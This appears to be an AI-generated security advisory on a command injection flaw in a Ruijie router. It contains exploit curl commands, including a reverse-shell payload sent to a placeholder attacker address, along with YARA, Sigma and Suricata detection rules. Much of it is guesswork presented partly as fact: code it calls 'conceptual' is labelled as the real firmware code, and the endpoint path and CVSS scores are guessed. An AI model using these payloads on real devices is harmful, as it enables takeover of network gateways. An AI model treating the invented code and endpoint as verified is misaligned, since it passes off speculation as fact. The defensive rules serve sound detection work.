CVE-2025-56097

Executive Summary

CVE-2025-56097 is a critical OS Command Injection vulnerability discovered in the Ruijie RG-EW1800GX PRO router, specifically in firmware version B11P226_EW1800GX-PRO_10223117. The flaw resides in the /usr/local/lua/dev_config/config_retain.lua file, where the module_set function fails to sanitize user-supplied input from a crafted POST request. This allows an unauthenticated attacker to execute arbitrary operating system commands on the device, leading to full compromise of the router.

The vulnerability is currently unpatched, and no public exploit code or proof-of-concept (PoC) is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the severity is high due to the potential for remote code execution (RCE) and the device's role as a network gateway.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a hardware device.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, based on the description, the vulnerability is likely to have a high CVSS score (8.0-10.0) due to:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the router itself.
• Confidentiality (C): High (H) – full access to device data.
• Integrity (I): High (H) – ability to modify device configuration.
• Availability (A): High (H) – potential for denial of service.

Threat Level: Critical. An attacker can gain full control of the router, intercept traffic, pivot to internal networks, and establish persistence.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection (CWE-78) in the Lua-based web management interface of the Ruijie RG-EW1800GX PRO router. The file /usr/local/lua/dev_config/config_retain.lua handles configuration retention requests. The module_set function processes POST parameters without proper sanitization or escaping.

Root Cause: The application passes user-controlled input directly to a system command (e.g., via os.execute() or io.popen()) without validating or sanitizing the input. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to execute arbitrary commands.

Attack Flow:

1. The attacker sends a crafted POST request to the vulnerable endpoint.
2. The module_set function receives the payload and concatenates it into a command string.
3. The command is executed by the underlying operating system with root privileges.
4. The attacker gains a reverse shell or executes arbitrary commands.

Example vulnerable code snippet (conceptual):

-- Vulnerable code in config_retain.lua
function module_set(request)
    local cmd = "echo " .. request.params.module_name .. " >> /tmp/config.log"
    os.execute(cmd)
end

Vulnerable vs. Patched Code

Vulnerable Code (B11P226_EW1800GX-PRO_10223117):

-- config_retain.lua
function module_set(request)
    local module_name = request.params.module_name
    -- No sanitization
    local cmd = "echo " .. module_name .. " >> /tmp/config.log"
    os.execute(cmd)
end

Patched Code (Hypothetical):

-- config_retain.lua
function module_set(request)
    local module_name = request.params.module_name
    -- Sanitize input: allow only alphanumeric and underscore
    if not module_name:match("^[%w_]+$") then
        return { status = "error", message = "Invalid module name" }
    end
    local cmd = "echo " .. module_name .. " >> /tmp/config.log"
    os.execute(cmd)
end

The patched version validates the input against a whitelist of allowed characters, preventing command injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Ruijie RG-EW1800GX PRO router with firmware B11P226_EW1800GX-PRO_10223117.
• Network access to the router's web interface (typically port 80 or 443).

Exploitation Steps:

1. Identify the vulnerable endpoint: POST /cgi-bin/luci/;stok=/locale (or similar path).
2. Craft a payload to inject commands. Example using curl:

   curl -X POST http://<router-ip>/cgi-bin/luci/;stok=/locale \
   -d "module_name=test;id" \
   -H "Content-Type: application/x-www-form-urlencoded"
   

3. If successful, the output of the id command will be returned in the response or logged.
4. For a reverse shell:

   curl -X POST http://<router-ip>/cgi-bin/luci/;stok=/locale \
   -d "module_name=test;bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1" \
   -H "Content-Type: application/x-www-form-urlencoded"
   

Note: No public exploit code is available. The above is a conceptual example.

Blue Team

Detection & Response:

• Monitor HTTP POST requests to /cgi-bin/luci/ with unusual parameters containing shell metacharacters (;, |, &, `).
• Enable logging on the router and review /tmp/config.log for unexpected entries.
• Use network segmentation to limit access to the router's management interface.
• Deploy a Web Application Firewall (WAF) with rules to block command injection patterns.

Honeypot Setup:

• Deploy a honeypot mimicking the Ruijie router to capture exploitation attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /cgi-bin/luci/ with parameters containing shell metacharacters.
• Outbound connections from the router to unknown IP addresses on high ports (e.g., 4444).
• Unusual DNS queries from the router.

Host IOCs:

• Modified files in /usr/local/lua/dev_config/.
• Unexpected processes running on the router (e.g., reverse shell).
• New entries in /tmp/config.log containing command output.

File Hashes (Firmware):

• Firmware hash: sha256: <unknown>

Detection Engineering

YARA Rule

rule CVE_2025_56097_Ruijie_Command_Injection {
    meta:
        description = "Detects command injection attempts against Ruijie RG-EW1800GX PRO"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56097"
    strings:
        $cmd1 = "module_name="
        $cmd2 = ";"
        $cmd3 = "|"
        $cmd4 = "`"
        $cmd5 = "$("
    condition:
        any of ($cmd*) and #cmd1 > 0
}

Sigma Rule

title: Ruijie RG-EW1800GX PRO Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests with command injection patterns targeting the Ruijie router
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/luci/'
        cs-uri-query|contains: 'module_name='
        cs-uri-query|contains|any:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in module names (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-56097 Ruijie RG-EW1800GX PRO Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/luci/";
    http_uri;
    content:"module_name=";
    http_client_body;
    pcre:"/(;|\||`|\$\().*$/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, disable the web management interface from the WAN side.
2. Restrict Access: Use firewall rules to allow management only from trusted IP addresses.
3. Monitor Logs: Enable and review router logs for suspicious activity.

Long-term Fix:

• Vendor Patch: Await an official firmware update from Ruijie. As of now, no patch is available.
• Workaround: If possible, replace the device with a patched alternative or implement a reverse proxy with input validation.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.